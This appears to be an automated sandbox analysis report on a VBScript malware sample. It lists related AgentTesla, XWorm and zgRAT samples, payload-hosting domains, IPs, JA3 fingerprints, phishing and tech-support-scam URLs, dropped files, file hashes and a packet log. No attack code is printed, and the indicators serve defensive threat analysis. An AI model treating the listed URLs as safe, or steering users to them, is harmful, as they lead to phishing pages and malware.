	P25102-_Andritiz_Korea.xla.xlsx	Get hash	malicious	AgentTesla, zgRAT	Browse
	PO_7736372_xls.xla.xlsx	Get hash	malicious	AgentTesla, zgRAT	Browse
	PR_301023xlam.xlsx	Get hash	malicious	AgentTesla, zgRAT	Browse
	Nel.Eorder2023.xlam.xlsx	Get hash	malicious	AgentTesla, zgRAT	Browse
	Ashok_Dargar._CV.xlam.xlsx	Get hash	malicious	AgentTesla, zgRAT	Browse
	LPO_PO109913.pdf.vbs	Get hash	malicious	AgentTesla, zgRAT	Browse
	Advance_TT_Slip.xlam.xlsx	Get hash	malicious	AgentTesla, zgRAT	Browse
	045c256e47200d5e03315657eee7ccef413f2efd3a863c7bef63adfe.vbs	Get hash	malicious	AgentTesla, zgRAT	Browse
	1e326958051423811313a8652ac8ee12d2d186500be0a9a73be3abbb.txt.vbs	Get hash	malicious	AgentTesla, zgRAT	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
paste.ee	confirmation.vbs	Get hash	malicious	Redline Clipper	Browse	104.21.84.67
	31agosto.vbs	Get hash	malicious	Remcos	Browse	104.21.84.67
	IMG-662466100.vbs	Get hash	malicious	XWorm	Browse	172.67.187.200
	confirmation.vbs	Get hash	malicious	Redline Clipper	Browse	104.21.84.67
	IMG5527735001.vbs	Get hash	malicious	XWorm	Browse	104.21.84.67
	OZE.vbs	Get hash	malicious	Unknown	Browse	172.67.187.200
	paymentconfirmation.js	Get hash	malicious	Redline Clipper	Browse	104.21.84.67
	Order__20200703.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	104.21.84.67
	ORDER2112.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	172.67.187.200
	3387202206469479_mBAM_20122023.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	172.67.187.200
	Pagos_WA0037906.js	Get hash	malicious	AgentTesla	Browse	172.67.187.200
	HSBC_PAYMENT_REMIITTANCE_RECEIPT_________.js	Get hash	malicious	AgentTesla	Browse	104.21.84.67
	Tracking_number.vbs	Get hash	malicious	XWorm	Browse	104.21.84.67
	Aviso_de_pago_Referencia_del_cliente73885.vbs	Get hash	malicious	XWorm	Browse	104.21.84.67
	Statement.vbs	Get hash	malicious	Unknown	Browse	104.21.84.67
	Betalning_WA997878998.vbs	Get hash	malicious	AgentTesla	Browse	104.21.84.67
	34Vbs_File.vbs	Get hash	malicious	AgentTesla	Browse	104.21.84.67
	09Nueva_orden_de_compra.xlam.xlsx	Get hash	malicious	Unknown	Browse	104.21.84.67
	Items_order.vbs	Get hash	malicious	XWorm	Browse	172.67.187.200
	k#U00e9p_Felsorolt_t#U00e9telek.vbs	Get hash	malicious	XWorm	Browse	172.67.187.200
wallpapercave.com	confirmation.vbs	Get hash	malicious	Redline Clipper	Browse	104.22.52.71
	31agosto.vbs	Get hash	malicious	Remcos	Browse	104.22.52.71
	IMG-662466100.vbs	Get hash	malicious	XWorm	Browse	104.22.53.71
	confirmation.vbs	Get hash	malicious	Redline Clipper	Browse	104.22.52.71
	IMG5527735001.vbs	Get hash	malicious	XWorm	Browse	104.22.52.71
	Tracking_number.vbs	Get hash	malicious	XWorm	Browse	104.22.52.71
	Aviso_de_pago_Referencia_del_cliente73885.vbs	Get hash	malicious	XWorm	Browse	172.67.29.26
	Betalning_WA997878998.vbs	Get hash	malicious	AgentTesla	Browse	104.22.53.71
	34Vbs_File.vbs	Get hash	malicious	AgentTesla	Browse	104.22.53.71
	09Nueva_orden_de_compra.xlam.xlsx	Get hash	malicious	Unknown	Browse	104.22.52.71
	REQ_FOR_QUOTATION.js	Get hash	malicious	zgRAT	Browse	104.22.53.71
	PO-35720.xlam.xlsx	Get hash	malicious	AgentTesla, zgRAT	Browse	104.22.53.71
	Orden_No_AM64782.xlam.xlsx	Get hash	malicious	AgentTesla, zgRAT	Browse	104.22.53.71
	Revised_enquiry_for_Urgent_buy_Denmark.xlam.xlsx	Get hash	malicious	AgentTesla, zgRAT	Browse	104.22.53.71
	SWIFT26794306.xlam.xlsx	Get hash	malicious	AgentTesla, zgRAT	Browse	104.22.53.71
	NEW_ORDER_AGAINST_NOV.DEC_2023_DELIVERY.xlam.xlsx	Get hash	malicious	AgentTesla, zgRAT	Browse	172.67.29.26
	5Night-6Days.xlam.xlsx	Get hash	malicious	AgentTesla, zgRAT	Browse	172.67.29.26
	Offer_details.xla.xlsx	Get hash	malicious	AgentTesla, zgRAT	Browse	104.22.52.71
	SKM_Swift_copy.xlam.xlsx	Get hash	malicious	AgentTesla, zgRAT	Browse	104.22.52.71
	PurchaseOrder.pdf.vbs	Get hash	malicious	AgentTesla, zgRAT	Browse	104.22.53.71

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	LnSNtO8JIa.exe	Get hash	malicious	Cinoshi Stealer	Browse	104.21.89.193
	Digital_marketing_recruitment_materials_2024.lnk	Get hash	malicious	Unknown	Browse	104.21.80.70
	http://pub-e0fbd798f1254106a8d627bd480831e7.r2.dev/index_update.html/	Get hash	malicious	Unknown	Browse	104.16.123.96
	9b1VuX8WEI.exe	Get hash	malicious	Amadey, Glupteba	Browse	172.67.186.198
	B2AUFF22T7.exe	Get hash	malicious	Glupteba, Stealc, Vidar	Browse	104.21.76.57
	toolspub2.exe	Get hash	malicious	Betabot, SmokeLoader	Browse	172.67.172.189
	toolspub1.exe	Get hash	malicious	Betabot, SmokeLoader	Browse	104.21.30.102
	L5KPHu6Vfn.exe	Get hash	malicious	LummaC, Petite Virus, Quasar, RedLine, SmokeLoader, Stealc, Vidar	Browse	104.21.24.252
	http://nanochecker.com	Get hash	malicious	Unknown	Browse	172.67.186.41
	https://share-one-paper-46a2.rilceharrlyeav.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.18.12.192
	https://fitzmaths.com/	Get hash	malicious	TechSupportScam	Browse	104.18.10.207
	https://usps.redelivery.status.103-23-199-211.cprapid.com/	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://att-103527-101942.weeblysite.com/	Get hash	malicious	Unknown	Browse	104.18.131.236
	https://rodial.uk/	Get hash	malicious	Unknown	Browse	172.67.213.45
	https://attnnnet.weeblysite.com/	Get hash	malicious	Unknown	Browse	162.159.136.66
	https://symphonious-valkyrie-bd1391.netlify.app/	Get hash	malicious	TechSupportScam	Browse	104.18.11.207
	https://usps-redelivery.status.103-23-199-211.cprapid.com/	Get hash	malicious	Unknown	Browse	104.17.24.14
	JEB3RYc02H.exe	Get hash	malicious	Darkbot	Browse	172.64.41.3
	https://home-105266.weeblysite.com/	Get hash	malicious	Unknown	Browse	172.64.151.101
	https://attcom-103650.weeblysite.com/	Get hash	malicious	Unknown	Browse	104.18.131.236
CLOUDFLARENETUS	LnSNtO8JIa.exe	Get hash	malicious	Cinoshi Stealer	Browse	104.21.89.193
	Digital_marketing_recruitment_materials_2024.lnk	Get hash	malicious	Unknown	Browse	104.21.80.70
	http://pub-e0fbd798f1254106a8d627bd480831e7.r2.dev/index_update.html/	Get hash	malicious	Unknown	Browse	104.16.123.96
	9b1VuX8WEI.exe	Get hash	malicious	Amadey, Glupteba	Browse	172.67.186.198
	B2AUFF22T7.exe	Get hash	malicious	Glupteba, Stealc, Vidar	Browse	104.21.76.57
	toolspub2.exe	Get hash	malicious	Betabot, SmokeLoader	Browse	172.67.172.189
	toolspub1.exe	Get hash	malicious	Betabot, SmokeLoader	Browse	104.21.30.102
	L5KPHu6Vfn.exe	Get hash	malicious	LummaC, Petite Virus, Quasar, RedLine, SmokeLoader, Stealc, Vidar	Browse	104.21.24.252
	http://nanochecker.com	Get hash	malicious	Unknown	Browse	172.67.186.41
	https://share-one-paper-46a2.rilceharrlyeav.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.18.12.192
	https://fitzmaths.com/	Get hash	malicious	TechSupportScam	Browse	104.18.10.207
	https://usps.redelivery.status.103-23-199-211.cprapid.com/	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://att-103527-101942.weeblysite.com/	Get hash	malicious	Unknown	Browse	104.18.131.236
	https://rodial.uk/	Get hash	malicious	Unknown	Browse	172.67.213.45
	https://attnnnet.weeblysite.com/	Get hash	malicious	Unknown	Browse	162.159.136.66
	https://symphonious-valkyrie-bd1391.netlify.app/	Get hash	malicious	TechSupportScam	Browse	104.18.11.207
	https://usps-redelivery.status.103-23-199-211.cprapid.com/	Get hash	malicious	Unknown	Browse	104.17.24.14
	JEB3RYc02H.exe	Get hash	malicious	Darkbot	Browse	172.64.41.3
	https://home-105266.weeblysite.com/	Get hash	malicious	Unknown	Browse	172.64.151.101
	https://attcom-103650.weeblysite.com/	Get hash	malicious	Unknown	Browse	104.18.131.236

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	LnSNtO8JIa.exe	Get hash	malicious	Cinoshi Stealer	Browse	104.22.53.71 104.21.70.240
	vwuuQ7uC81.lnk	Get hash	malicious	Ducktail	Browse	104.22.53.71 104.21.70.240
	PDFSuperHero (1).exe	Get hash	malicious	Unknown	Browse	104.22.53.71 104.21.70.240
	http://andreeasasser.com	Get hash	malicious	Unknown	Browse	104.22.53.71 104.21.70.240
	202403-571049005.exe	Get hash	malicious	AgentTesla	Browse	104.22.53.71 104.21.70.240
	import_order.scr.exe	Get hash	malicious	AgentTesla	Browse	104.22.53.71 104.21.70.240
	Orden_de_compra.xlsx.exe	Get hash	malicious	AgentTesla	Browse	104.22.53.71 104.21.70.240
	QUOTE_609931472XXXXX.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.22.53.71 104.21.70.240
	SecuriteInfo.com.Trojan.DownLoader45.55850.1804.16541.exe	Get hash	malicious	AsyncRAT	Browse	104.22.53.71 104.21.70.240
	SecuriteInfo.com.Trojan.DownLoader45.55850.18837.22068.exe	Get hash	malicious	Unknown	Browse	104.22.53.71 104.21.70.240
	SecuriteInfo.com.Trojan.DownLoader45.55850.3528.4133.exe	Get hash	malicious	AsyncRAT, zgRAT	Browse	104.22.53.71 104.21.70.240
	SecuriteInfo.com.Trojan.DownLoader45.55850.29072.15011.exe	Get hash	malicious	AsyncRAT	Browse	104.22.53.71 104.21.70.240
	SecuriteInfo.com.Trojan.DownLoader45.55850.30665.679.exe	Get hash	malicious	AsyncRAT	Browse	104.22.53.71 104.21.70.240
	injector_resou_nls..scr.exe	Get hash	malicious	AsyncRAT, Clipboard Hijacker, zgRAT	Browse	104.22.53.71 104.21.70.240
	81604933152XXXX.bat	Get hash	malicious	AgentTesla, zgRAT	Browse	104.22.53.71 104.21.70.240
	SecuriteInfo.com.Trojan.PackedNET.2604.2342.12917.exe	Get hash	malicious	AgentTesla	Browse	104.22.53.71 104.21.70.240
	SecuriteInfo.com.Trojan.PackedNET.2604.4628.31260.exe	Get hash	malicious	AgentTesla	Browse	104.22.53.71 104.21.70.240
	file.exe	Get hash	malicious	RisePro Stealer, Vidar	Browse	104.22.53.71 104.21.70.240
	qhNIPt85oM.exe	Get hash	malicious	RisePro Stealer, SmokeLoader, Vidar	Browse	104.22.53.71 104.21.70.240
	1zbhEkFTTc.exe	Get hash	malicious	RisePro Stealer, Vidar	Browse	104.22.53.71 104.21.70.240
a0e9f5d64349fb13191bc781f81f42e1	L5KPHu6Vfn.exe	Get hash	malicious	LummaC, Petite Virus, Quasar, RedLine, SmokeLoader, Stealc, Vidar	Browse	172.67.187.200
	Pagos_Por_Transferencia_Bancaria.xll	Get hash	malicious	Unknown	Browse	172.67.187.200
	Pagos_Por_Transferencia_Bancaria.xll	Get hash	malicious	Unknown	Browse	172.67.187.200
	Pagos_Por_Transferencia_Bancaria.xll	Get hash	malicious	Unknown	Browse	172.67.187.200
	Pagos_Por_Transferencia_Bancaria.xll	Get hash	malicious	Unknown	Browse	172.67.187.200
	http://171.12.129.49:4482/dtapp-pub.dingtalk.com/dingtalk-desktop/win_inc_updater/Release/DingTalkUpdate_v2_7.1.10.11169101-7.5.0.13039104.7z?xrid=001100006ABCB46E192F85E4E06EA2C3B3B4A63E&xhttps=1&xtoken=1704294365-81eb0f97de14a3fc0053672a1c4c3612	Get hash	malicious	Unknown	Browse	172.67.187.200
	#U0627#U0644#U062c#U062f#U0648#U0644_#U0627#U0644#U062a#U062f#U0631#U064a#U0628#U064a_2024.xlsx	Get hash	malicious	Unknown	Browse	172.67.187.200
	Schedule-_English_-_Training_-_2024.xlsx	Get hash	malicious	Unknown	Browse	172.67.187.200
	51153006-SG.xlsx	Get hash	malicious	Unknown	Browse	172.67.187.200
	https://tobbypet.cl/tia/?97737871	Get hash	malicious	Unknown	Browse	172.67.187.200
	Orden_de_compra.xlam.xlsx	Get hash	malicious	Unknown	Browse	172.67.187.200
	31agosto.vbs	Get hash	malicious	Remcos	Browse	172.67.187.200
	spoofer.exe	Get hash	malicious	LummaC	Browse	172.67.187.200
	https://tobbypet.cl/tia/?97737871	Get hash	malicious	Unknown	Browse	172.67.187.200
	crypted.bin.exe	Get hash	malicious	CryptOne	Browse	172.67.187.200
	crypted.bin.exe	Get hash	malicious	CryptOne	Browse	172.67.187.200
	tmp651a.exe	Get hash	malicious	LummaC	Browse	172.67.187.200
	manager.exe	Get hash	malicious	LummaC	Browse	172.67.187.200
	4dej5mvuGp.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.187.200
	KI3uX9sP2Z.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Stealc, zgRAT	Browse	172.67.187.200

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	204074
Entropy (8bit):	5.16860231694857
Encrypted:	false
SSDEEP:	3072:A5yO1lQ014Cet1ns3wflGsZcfwMQA5PGzb8h9:A591lF1UflGsZcfb
MD5:	85CBF9B1A0E3D8FDA14A86535E0692D9
SHA1:	695EAA69C8766E01720DEC322064EE968812F264
SHA-256:	AD4AC01243A9775D26945CF742A06ACB03F34056FEE9576D646FF65617BF94F5
SHA-512:	0EECAD4E71E37B7D387938388D30589D7AE737885EB14F83813F85F9B910AC339BA8E37A9418A050AB842E0298142A5061092A261D1CF1B4C0500E6A64E84C52
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	'..' Copyright (c) Microsoft Corporation. All rights reserved...'..' VBScript Source File..'..' Script Name: winrm.vbs..'....Option Explicit....'''''''''''''''''''''..' Error codes..private const ERR_OK = 0..private const ERR_GENERAL_FAILURE = 1....'''''''''''''''''''''..' Messages..private const L_ONLYCSCRIPT_Message = "Can be executed only by cscript.exe."..private const L_UNKOPNM_Message = "Unknown operation name: "..private const L_OP_Message = "Operation - "..private const L_NOFILE_Message = "File does not exist: "..private const L_PARZERO_Message = "Parameter is zero length #"..private const L_INVOPT_ErrorMessage = "Switch not allowed with the given operation: "..private const L_UNKOPT_ErrorMessage = "Unknown switch: "..private const L_BLANKOPT_ErrorMessage = "Missing switch name"..private const L_UNKOPT_GenMessage = "Invalid use of command line. Type ""winrm -?"" for help."..private const L_HELP_GenMessage

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulf66llp:NllUSOl
MD5:	B798C92691636A7830BE142C313C0E72
SHA1:	53C2A97D145573705355A8C39757DB8009D116CC
SHA-256:	5D6C0E321D148D9CD398B4261686BA6344F9FFF6FB4226AF1C8AEE4FB89DC75F
SHA-512:	6198106131F8C8083DA7946BADE71A6BB3A37474DC81E699976680CD3ACC1E84B8A151F7F8D15A79C1343BB108992D44CB98FE78593F55CE891B669EB6022106
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0pwwrvgs.3je.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_50mvbyho.103.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ay2rwfwu.g0q.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bm4o42og.k3k.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hgdjhbzt.snt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_khixuewt.ovv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with very long lines (816), with CRLF line terminators
Entropy (8bit):	3.8947401432379793
TrID:	Text - UTF-16 (LE) encoded (2002/1) 64.44% MP3 audio (1001/1) 32.22% Lumena CEL bitmap (63/63) 2.03% Corel Photo Paint (41/41) 1.32%
File name:	confirmationcr.vbs
File size:	8'056 bytes
MD5:	797dd297fa0996819e52cb5a00eb9177
SHA1:	268513b9cb8dfebb735aca32bdeffb7966252f76
SHA256:	da0776fc33632d70db7a37723bf8a3f91098cfd8ef7decc7a2a7f8f655974ea4
SHA512:	2de5598fad666ff5d56315ab065f40ccc222cebecc06838e377207aeb54e4551c8a574430360dbd0c086e62f21f279c15402083a6fddc1d41fd3cbc3389eed63
SSDEEP:	192:o2fGLHYBnUrzUtLTPYB2YBCL+Urzb2fYYBNcX3qk0kpcX3kz4nklU24C:TxRUpzXUavLcX3q3AcX3/vQ
TLSH:	C4F1FB617AFFA00CB2B7BF561BE479D58E6FF7B15905A09D1440030F9952E81CDA1B32
File Content Preview:	..F.u.n.c.t.i.o.n. .K.h.M.A.G.H.T.P.z.I.Z.f.n.e.t.L.D.x.S.K.b.l.H.q.B.x.A.G.q.y.b.K.q.e.h.H.r.g.D.H.f.m.n.j.r.S.k.q.i.m.L.c.n.V.C.r.m.L.Z.H.o.F.O.G.b.y.P.l.R.k.E.S.k.M.I.P.i.v.O.h.A.h.A.Z.o.P.B.N.s.u.W.n.b.E.c.W.k.G.S.S.D.v.T.U.I.J.C.j.K.j.a.M.E.x.t.U.V.g

File Icon


Icon Hash:	68d69b8f86ab9a86

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 4, 2024 08:37:12.764406919 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:12.764442921 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:12.764517069 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:12.767059088 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:12.767071962 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:12.974195004 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:12.974324942 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:12.977870941 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:12.977884054 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:12.978149891 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.024434090 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:13.091012955 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:13.132747889 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.354506969 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.354562998 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.354597092 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.354643106 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.354672909 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.354676008 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:13.354708910 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.354727030 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:13.354741096 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:13.354749918 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.386246920 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.386280060 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.386339903 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.386348009 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:13.386358976 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.386392117 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.386399031 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:13.386436939 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:13.386444092 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.386950016 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.386981010 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.387002945 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:13.387011051 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.387041092 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.387056112 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:13.387068033 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.387101889 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:13.387109995 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.387747049 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.387778997 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.387790918 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:13.387801886 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.387842894 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.387845993 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:13.387856007 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.387901068 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:13.387912035 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.388624907 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.388648987 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.388668060 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:13.388676882 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.388715029 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:13.420646906 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.420738935 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.420770884 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.420794010 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:13.420804977 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.420840979 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.420958042 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:13.420967102 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.421010017 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:13.421559095 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.421706915 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.421751022 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:13.421758890 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.421824932 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.421857119 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.421868086 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:13.421875954 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.421912909 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:13.421920061 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.421967030 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:13.422005892 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:13.425224066 CET	49705	443	192.168.2.9	172.67.187.200
Jan 4, 2024 08:37:13.425237894 CET	443	49705	172.67.187.200	192.168.2.9
Jan 4, 2024 08:37:16.141349077 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.141385078 CET	443	49706	104.22.53.71	192.168.2.9
